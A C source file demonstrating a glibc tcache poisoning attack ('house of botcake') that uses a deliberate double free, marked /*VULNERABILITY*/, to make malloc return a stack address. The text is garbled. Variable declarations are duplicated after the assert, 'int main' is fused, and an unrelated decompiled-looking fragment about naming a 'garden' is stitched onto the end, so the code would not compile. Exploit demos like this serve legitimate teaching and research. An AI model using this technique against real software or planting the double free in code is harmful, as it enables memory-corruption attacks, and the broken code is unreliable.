intmain() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
// prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
// prepare heap layout puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } intptr_t *prev = malloc(0x100); printf("Allocating a chunk for later consolidation: prev @ %p\n", prev); intptr_t *a = malloc(0x100); printf("Allocating the victim chunk: a @ %p\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); // cause chunk overlapping puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); /*VULNERABILITY*/ free(a);// a is already freed /*VULNERABILITY*/
puts("Now we have the chunk overlapping primitive:"); int prev_size = prev[-1] & 0xff0; int a_size = a[-1] & 0xff0; printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size); printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size); a = malloc(0x100); memset(a, 0, 0x100); prev[0x110/sizeof(intptr_t)] = 0x41414141; assert(a[0] == 0x41414141);
intptr_t *prev = malloc(0x100); printf("Allocating a chunk for later consolidation: prev @ %p\n", prev); intptr_t *a = malloc(0x100); printf("Allocating the victim chunk: a @ %p\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10);
if ( dword_4050 ) exit(1); puts("do you want to name the garden?"); malloc(0x20uLL); result = puts("sorry, you can't"); dword_4050 = 1; return result; }